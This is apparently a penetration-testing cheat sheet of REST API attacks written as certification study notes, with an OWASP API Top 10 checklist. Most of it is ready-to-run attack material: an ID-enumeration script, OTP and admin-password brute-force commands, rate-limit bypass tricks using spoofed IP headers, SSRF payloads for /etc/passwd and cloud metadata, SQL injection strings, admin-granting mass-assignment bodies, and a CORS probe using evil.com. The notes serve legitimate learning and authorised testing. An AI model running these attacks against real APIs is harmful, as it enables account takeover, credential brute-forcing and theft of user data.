Web

API Attacks

REST API attacks from the CWES path: BOLA/IDOR enumeration, OTP brute force, SSRF via URL fields, SQLi in parameters, mass assignment, improper inventory (old versions), CORS, and the OWASP API Top 10. Every payload separated.

BOLA / IDOR enumeration

Iterate object IDs with a token:

import requests
for uid in range(1, 100):
    r = requests.get(f"http://IP/api/v1/user/{uid}", headers={"Authorization": "Bearer TOKEN"})
    if r.status_code == 200:
        print(uid, r.json())

OTP brute force

Generate OTPs, then fuzz:

seq -w 0000 9999 > otps.txt
ffuf -w otps.txt -u http://IP/api/v1/verify -X POST -H "Content-Type: application/json" -d '{"otp":"FUZZ"}' -fr "Invalid"

SSRF via URL field

Inject a local path into a URL the API fetches:

{ "url": "file:///etc/passwd" }

SQL injection in API parameters

Boolean-based in a search param:

GET /api/v1/products?name=laptop'+OR+1=1+--+-

Mass assignment

Add an admin flag the UI doesn’t show:

{ "username": "user", "password": "pass", "isAdmin": true }

Improper inventory (old versions)

Old endpoints that may lack authorization:

/api/v0/users
/api/beta/users

Fuzz for all versions:

ffuf -w api_versions.txt -u http://TARGET/FUZZ/users -mc 200,201,401,403

Password brute force via API

ffuf -w passwords.txt -u http://IP/api/v1/login -X POST -H "Content-Type: application/json" -d '{"username":"admin","password":"FUZZ"}' -fr "Invalid"

CORS misconfiguration test

If the response echoes your Origin AND Allow-Credentials: true, any site can act as the victim:

curl -H "Origin: https://evil.com" -I http://TARGET/api/user/profile

OWASP API Top 10 (2023) — full checklist

Tick every row per endpoint — this is the “what did I not test yet” list.

#CategoryWhat to test
API1Broken Object Level Auth (BOLA)Change object IDs in every request — can you read/edit another user’s object?
API2Broken AuthenticationJWT tamper/crack, alg:none, weak secret, no rate-limit on login/OTP, token reuse/expiry
API3Broken Object Property Level Auth (BOPLA)Mass assignment (add role/isAdmin) and excessive data exposure (extra fields leaked in responses)
API4Unrestricted Resource ConsumptionNo rate-limits/quotas → brute force, huge payloads, expensive queries (DoS / cost spike)
API5Broken Function Level Auth (BFLA)Call admin/privileged endpoints with a normal-user token; swap GETPUT/DELETE
API6Unrestricted Access to Sensitive Business FlowsAutomate a human-only flow — bulk-buy stock, mass invites, scripted signups
API7SSRFInject URLs into any URL-accepting field → internal hosts, 169.254.169.254 cloud metadata
API8Security MisconfigurationVerbose errors/stack traces, missing security headers, permissive CORS, default creds, extra HTTP verbs
API9Improper Inventory ManagementFuzz /v0/, /v1/, /legacy/, /beta/; find staging hosts + undocumented/deprecated endpoints
API10Unsafe Consumption of APIsDoes it blindly trust 3rd-party/upstream API data? → injection/SSRF via the upstream response

BOPLA (API3) — Detailed Testing

Broken Object Property Level Authorization has two sub-issues:

Mass assignment — inject non-UI fields

Capture a registration/update request and add fields the UI doesn’t expose:

{ "username": "user", "password": "pass", "role": "admin" }
{ "username": "user", "password": "pass", "verified": true }
{ "username": "user", "password": "pass", "credit": 99999 }

Check which fields the API accepts and whether they take effect. Look at the response — extra fields returned confirm the model has them.

Excessive data exposure — fields leaked in responses

Compare the response fields to what the UI actually displays. Extra fields (password_hash, admin, internal_id, ssn) may be returned but hidden by the frontend.

In Burp Proxy, inspect the raw JSON response vs the rendered page. Every field in the response that isn’t shown in the UI is potential excessive exposure.


Rate Limiting Bypass

When brute-force or OTP attacks are blocked by rate limiting:

IP rotation

# Add X-Forwarded-For with different IPs
ffuf -w passwords.txt -u http://TARGET/api/login \
  -X POST -H "Content-Type: application/json" \
  -H "X-Forwarded-For: FUZZ_IP" \
  -d '{"username":"admin","password":"FUZZ_PASS"}' \
  -w ips.txt:FUZZ_IP -w passwords.txt:FUZZ_PASS \
  -mode pitchfork

Headers that may override rate-limit source IP:

X-Forwarded-For: 1.2.3.4
X-Real-IP: 1.2.3.4
X-Originating-IP: 1.2.3.4
X-Remote-IP: 1.2.3.4
X-Remote-Addr: 1.2.3.4
True-Client-IP: 1.2.3.4

Username/email variation

Some rate limiters key on username. Try variations:

admin
ADMIN
admin@example.com
admin+test@example.com
 admin   (leading/trailing space)

Timing gap

Add a 2-second delay between requests to bypass time-window rate limits:

ffuf -w passwords.txt -u http://TARGET/api/login \
  -X POST -d '{"username":"admin","password":"FUZZ"}' \
  -p 2   # 2-second delay between requests

null byte / encoding variation in parameter

{"username": "admin�", "password": "FUZZ"}
{"username": "admin%00", "password": "FUZZ"}

API Fuzzing Methodology

Step 1 — Discover endpoints

# Fuzz common API paths
ffuf -w /usr/share/seclists/Discovery/Web-Content/api/api-endpoints.txt \
     -u http://TARGET/api/FUZZ -mc 200,201,204,401,403

# Fuzz API versions
ffuf -w versions.txt -u http://TARGET/FUZZ/users
# versions.txt: v1 v2 v3 v4 v0 beta legacy api

# Find undocumented parameters with Arjun
pip install arjun
arjun -u http://TARGET/api/endpoint

Step 2 — Discover parameters

# Arjun — finds hidden GET/POST parameters
arjun -u http://TARGET/api/users -m GET
arjun -u http://TARGET/api/register -m POST

# Param Miner (Burp BApp) — for headers and body parameters
# Right-click request → Extensions → Param Miner → Guess params

Step 3 — Fuzz parameter values

# Inject common attack payloads into each discovered parameter
ffuf -w /usr/share/seclists/Fuzzing/SQLi/Generic-SQLi.txt \
     -u "http://TARGET/api/users?id=FUZZ" -mc 200,500

# BOLA — iterate numeric IDs
ffuf -w <(seq 1 1000) -u http://TARGET/api/users/FUZZ \
     -H "Authorization: Bearer LOW_PRIV_TOKEN" -mc 200

Step 4 — Check HTTP method variations

# Most APIs accept only GET/POST but may have undocumented DELETE/PUT
for method in GET POST PUT PATCH DELETE HEAD OPTIONS; do
  echo "$method:"
  curl -s -X $method -o /dev/null -w "%{http_code}" \
    -H "Authorization: Bearer TOKEN" http://TARGET/api/users/5
  echo
done

Step 5 — Test content type confusion

# Send JSON to a form-based endpoint
curl -X POST http://TARGET/api/register \
  -H "Content-Type: application/json" \
  -d '{"username":"admin","role":"admin"}'

# Send form data to a JSON endpoint
curl -X POST http://TARGET/api/register \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -d "username=admin&role=admin"